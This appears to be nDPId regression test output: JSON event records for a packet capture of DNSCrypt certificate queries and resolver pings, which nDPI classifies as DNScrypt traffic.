+01102{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":192703,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcZY5AAL0RdEsKAAABwx5eHKw9IPsCCOQQMsoBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAQAAAAAAAAAAAAHKAAwBxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":119,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":946739305192,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":44093,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":120,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":946739305192,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":53811,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":192710,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcZY8gAL0RkIoKAAABwx5eHNIzIPsGBOBTMskBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":120,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":946739305192,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":53811,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":121,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":192727,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQZY8Aub0RtV0KAAABwx5eHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":121,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00664{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":192746,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSF6JAADcRFw2LO8h0CgAAAQG7ktsAvkG1c5CBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABwAwAEAABAABwgAB9fEROU0MAAgAABjDMcMbz7yA0RLegztcBfq7VeYHKBaMLey+aMNVSTMo4Qj51\/gmF1JL4mny7Kl7CHKqU1ouuslp1lX1chQTTD+JLJw323p3g\/i9lq2cywGbzFxjIXwRFrAIdM6Cq64tY4ksnDfbeneAAAAABX1N7RV9UzMU="} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":123,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":946739305192,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":44282,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":192763,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcZZAgAL0RkIkKAAABwx5eHKz6IPsGBAWJMs0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":123,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":946739305192,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":44282,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":124,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":192783,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQZZAAub0RtVwKAAABwx5eHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":124,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00664{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":194519,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSF6NAADcRFwyLO8h0CgAAAQG75zoAvu1Tc5KBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABwAwAEAABAABwgAB9fEROU0MAAgAABjDMcMbz7yA0RLegztcBfq7VeYHKBaMLey+aMNVSTMo4Qj51\/gmF1JL4mny7Kl7CHKqU1ouuslp1lX1chQTTD+JLJw323p3g\/i9lq2cywGbzFxjIXwRFrAIdM6Cq64tY4ksnDfbeneAAAAABX1N7RV9UzMU="} +00660{"flow_id":51,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":214011,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"ZmZmZmZmRERERERECABFAADQ+LRAADgRZ3HDHl4cCgAAASD7iEUAvOWBMsyAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAANu1cuNn82W5kyvuIYj3yDd11LkL534iAFDK9fBQA07jnu8CUEQwYJt1XxEE91D0YyFd2wLooVHv9yyAcc0SAAB5FL6yNLYbucmv1fHy4RsAcOv\/0XhGDt+qQ0bl\/YNRIXkUvrI0thu5ATQ9Gl8jB9hnnVXw"} +00660{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":214065,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"ZmZmZmZmRERERERECABFAADQ+LVAADgRZ3DDHl4cCgAAASD7uvkAvLLLMs6AAAABAAEAAAAAATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAANu1cuNn82W5kyvuIYj3yDd11LkL534iAFDK9fBQA07jnu8CUEQwYJt1XxEE91D0YyFd2wLooVHv9yyAcc0SAAB5FL6yNLYbucmv1fHy4RsAcOv\/0XhGDt+qQ0bl\/YNRIXkUvrI0thu5ATQ9Gl8jB9hnnVXw"} +00660{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":217619,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"ZmZmZmZmRERERERECABFAADQ+LdAADgRZ27DHl4cCgAAASD7rD0AvMGLMsqAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAANu1cuNn82W5kyvuIYj3yDd11LkL534iAFDK9fBQA07jnu8CUEQwYJt1XxEE91D0YyFd2wLooVHv9yyAcc0SAAB5FL6yNLYbucmv1fHy4RsAcOv\/0XhGDt+qQ0bl\/YNRIXkUvrI0thu5ATQ9Gl8jB9hnnVXw"} +00661{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":218005,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"ZmZmZmZmRERERERECABFAADQ+LZAADgRZ2\/DHl4cCgAAASD7glkAvOtuMsuAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAANu1cuNn82W5kyvuIYj3yDd11LkL534iAFDK9fBQA07jnu8CUEQwYJt1XxEE91D0YyFd2wLooVHv9yyAcc0SAAB5FL6yNLYbucmv1fHy4RsAcOv\/0XhGDt+qQ0bl\/YNRIXkUvrI0thu5ATQ9Gl8jB9hnnVXw"} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":130,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":946739305219,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":32970,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":219291,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIciBpAAL0RGIYKAAABjgTMb4DKAbsCCB1KAhEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":130,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":946739305219,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":32970,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":131,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":946739305219,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":60962,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":131,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":219317,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXciBwgAL0RNMQKAAABjgTMb+4iAbsGBKD1AgwBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":131,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":946739305219,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":60962,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} 